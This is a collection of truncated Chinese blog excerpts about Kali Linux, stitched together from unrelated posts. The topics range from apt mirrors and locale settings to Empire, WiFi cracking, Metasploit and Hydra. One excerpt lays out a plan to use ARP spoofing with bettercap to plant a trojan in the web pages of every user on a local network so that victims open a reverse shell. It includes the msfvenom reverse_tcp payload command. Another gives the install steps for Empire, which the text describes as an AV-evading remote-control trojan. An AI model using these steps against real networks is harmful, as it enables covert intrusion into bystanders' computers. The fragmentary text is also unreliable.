0x00 简介 Empire是一款针对Windows平台的,使用PowerShell脚本作为攻击载荷的渗透攻击框架代码具有从stager生成,提权到渗透维持的一系列功能,无需powershell.exe就可以使用powershell的代理功能还可以快速在后期部署漏洞利用模块,内置模块有键盘记录,Mimikatz,绕过UAC,内网扫描等,可以躲避网络检测和大部分安全防护工具,类似于Meterpreter,是一个基于PowerShell的远控木马(www.powershellempire.com)

一.介绍 Empire是一款针对Windows平台的.使用PowerShell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成.提权到渗透维持的一系列功能.Empire实现了无需powershell.exe就可运行 PowerShell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录.Mimikatz.绕过UAC.内网扫描等,并且能够躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似于 Metasploit,是一个基于 PowerShell的远程控制木马. 二.

上次发布过一篇在OSX系统破解WIFI密码的教程, 这次发布一篇使用kali破解wifi的教程 WEP和WPA/PSK的区别 WPA/PSK的加密方式相对于WEP的加密方式更加安全,WEP是一种老式的加密方式,在2003年时就被WPA加密所淘汰,由于其安全性能存在好几个弱点,很容易被专业人士攻破,不过,对于非专业人来说还是比较安全的.其次由于WEP采用的是IEEE 802.11技术,而现在无线路由设备基本都是使用的IEEE 802.11n技术,因此,当使用WEP加密时会影响无线网络设备的传输速率

目的 通过Arp欺骗, 给局域网内的所有用户网页中植入木马, 只要用户运行以后, 就会反弹一个shell到我们计算机 准备 kali系统 metaspolit的使用 Arp欺骗工具:bettercap 博客园账号密码(用来上传小马文件) metaspolit小马的准备 因为我本地的ip为151, 溢出后反弹的端口为444, 使用msfvenom生成名字为run1.exe的小马文件: msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe

1.首先你需要一个移动硬盘和一个移动硬盘盒子(一根数据转换线,一般买盒子商家会赠送的) SSD硬盘要事先格式化一下格式,不然识别不出来 2.准备好Kali镜像,传送门在这里https://www.kali.org/,安装好VM虚拟机,值得一说的是固态硬盘,一定要开启虚拟机的USB3.0端口 这里配置虚拟机的时候把虚拟机自带的硬盘删掉,用我们的固态硬盘.虚拟机开启的时候,右下角有一个USB的灰色的图标,点一下,连接上你的固态硬盘,如下图 3.好了接下来我们正式开始,安装Kali的步骤就不一一赘述,

把kali系统装在u盘上,会带来极大的便利,只要有网有机就能随时随地hacking,但是u盘体积太小极易丢失,所以需要对其备份以备万一. 一般kali启动U盘分为两个区:启动区和文件存放区.如下图 我们只需备份persistence盘,里面存放着我们自定义.安装.编写的配置.软件.文件等. 打开安装了linux系统的虚拟机插入u盘,可以看到挂载在/media/root/persistence目录下 先创建一个存放备份的文件夹 mkdir disk cd disk 查看一下u盘的文件确认无误 ls

准备 当前环境:OSX 10.11.6 , 准备VMware虚拟机软件和kali系统 为什么要安装kali系统 Kali Linux预装了许多渗透测试软件,包括nmap (端口扫描器).Wireshark (数据包分析器).John the Ripper (密码破解器),以及Aircrack-ng (一套用于对无线局域网进行渗透测试的软件). 用户可通过硬盘.live CD或live USB运行Kali Linux.Metasploit的Metasploit Framework支持Kali Li

一.Kali系统更新源 使用官网的虚拟化镜像安装,默认为英文界面,更新源也是官方源.因为官方服务器在国外,速度不是很理想,现在就来改国内源并且更新系统. 1.使用编辑器打开系统源文本(在终端内操作,先备份原来的文件是个好习惯) leafpad /etc/apt/sources.list 2.获取国内源地址,清华源,地址如下: deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib deb-sr

ll命令:也就是ls -l的缩写方式. 重装kali系统之后,发现无法使用ll命令了,于是写一个笔记记录一下如何添加ll命令. 解决方法: vim ~/.bashrc 将alias ll=’ls -l‘前面的注释符号#删掉 下次在遇到,你的世界没有我.

Linux下软件的安装:方式:yum/rpm/源码安装YUM安装(帮助管理员解决依赖关系):yum search mysqld 在源中搜索软件包yum install mysql-connector-odbc.x86_64 安装软件yum remove mysql 卸载软件 yum erase mysql RPM安装:查询已安装软件的信息:rpm -q mysql:仅查询,后面接的软件名称是否有安装rpm -qa:列出所有的,已经在本机上安装的软件rpm -qa | grep mysql: 查询

##安装过程 git clone https://github.com/EmpireProject/Empire.git cd Empire cd setup sudo ./install.sh ##使用方法 进入监听模式 ##设置监听模式 ##设置参数 执行监听 ##生成后门文件 后门文件模块 直接生成powershell ##连接目标主机 ##执行命令 ##查看失效的代理 ##搜索模块 ##后续资料参考: https://www.anquanke.com/post/id/87333 http

Kali Linux系统提供的apt-get方式,可以很好的安装软件,对系统进行更新.但是每次执行都会下载大量的软件包.这些软件包被安装后,并不会被自动删掉,会持续占用磁盘空间.解决这个问题有两个办法. 第一,使用apt-get clean命令删除所有下载的软件包.如果只想删除不再使用的旧软件包,可以使用apt-get autoclean命令. 第二,用户可以手动删除这些软件包.apt-get下载的软件包保存在var/cache/apt/archives目录下.进入该目录,删除所有文件,即可.

1.一般使用的kali 安装都是将系统文件全部放在一个总分区中,应用程序会产生临时文件,另外在安装软件的时候会出现 系统框架的不同,但是kali并不会检测该问题,直接当依赖的框架下载,可以是使用命令 dpkg---print-acrhitecture 如果存在多余的框架可以使用删除命令删除.每次更新的时候也会产生软件包没有及时清除积累.产生的日志文件也会导致系统增肥问题. 2.删除掉对应Var中缓存的文件,删除日志文件.会适当的增加磁盘的存储空间. 3.扩展新的磁盘,进行挂在到系统(扎样做只能延

基础配置 由于kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用. 在kali 2.0中启动带数据库支持的MSF方式如下: 1 首先启动postgresql数据库: /etc/init.d/postgresql start:或者 service postgresql start: 2 初始化MSF数据库(关键步骤!):msfdb init:(如不能初始化,就用msfdb reinit试试吧!默认创建的数据库名:msf,

kali Nethunter是一个装在手机上的kali,集成了kali的工具包,hid,无线攻击等等. 本文主要叙述如何安装此系统并正确的配置.不让你走弯路. 首先我们拒绝傻瓜安装软件 kali nethunter install这对我们接下来要讲的机型安装会有一个大的误点 #需要的材料有: 一部nexus5(kali官网有支持的手机型号,建议大家使用支持的型号来刷取系统,要不然很容易变砖.) nexus5的价格大约在300-400之间,我买的时候是350,具体你们可以上某宝去查看价格浮动. 我

一.背景信息在安装完 kali linux 2020.1 时,其操作系统默认语言为英文的,我们操作起来比较麻烦,为了以后操作方便起见,这边将其操作系统默认语言更改为中文.本篇文章将带领各位小伙伴们一起去将操作系统默认语言更改为中文二.操作步骤    打开Terminal Emulator 界面,查看当前系统语言为默认英文在这里插入图片描述    在Terminal Emulator 中执行dpkg-reconfigure locales命令    注意:如果是root用户可直接执行dpkg-re

1.修改sshd_config文件,命令为:vi /etc/ssh/sshd_config 2.将#PasswordAuthentication no的注释去掉,并且将NO修改为YES  //我的kali中默认是yes 3.将#PermitRootLogin yes的注释去掉 //我的kali中默认去掉了注释 4.启动SSH服务,命令为:/etc/init.d/ssh start // 或者service ssh start 5.验证SSH服务状态,命令为:/etc/init.d/ssh sta

sources.list deb http://http.kali.org/kali kali-rolling main non-free contrib deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #阿里云kali源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirror

电脑上添加静态路由,PowerShell或cmd设置路由 方法/步骤1.首先以管理员身份在“运行”窗口输入cmd或PowerShell(按WIN+R打开运行窗口),然后回车进入命令行,输入 route add 10.10.101.0 mask 255.255.255.0 -p 192.168.0.254 其中10.10.101.0是我们需要访问的整个网段地址,255.255.255.0是这个网段的掩码,192.168.0.254 是本机去往需要访问网段的下一跳IP地址.何为下一跳IP地址:就是与

kali中的Firefox浏览器默认为英文,这对英语不够好的我来讲,自然是很麻烦的,下面讲一下如何将语言设置为中文. 1.打开终端,输入 apt -y install firefox-esr-l10n-zh-cn  ,回车,下载安装firefox浏览器中文语言包 2.打开火狐浏览器,选择右上角的菜单,选择“选项”,就是齿轮图标 3.选择“内容”-->在语言栏点击“选择”,选择“中文/中国 [zh-cn]”,点击“确定”,重启浏览器即可 完

1. Aircrack-ng Aircrack-ng是用来破解WEP/WAP/WPA 2无线密码最佳的黑客工具之一! 它通过接收网络的数据包来工作,并通过恢复的密码进行分析.它还拥有一个控制台接口.除此之外,Aircrack-ng还利用标准的FMS(Fluhrer.Mantin和Shamir)攻击,以及一些优化(如KORK攻击和PTW攻击)来加速攻击. Aircrack-ng 2. Hydra 九头蛇使用暴力攻击的方式,几乎可以破解任何远程身份验证服务.它支持50多种协议,包括ftp.https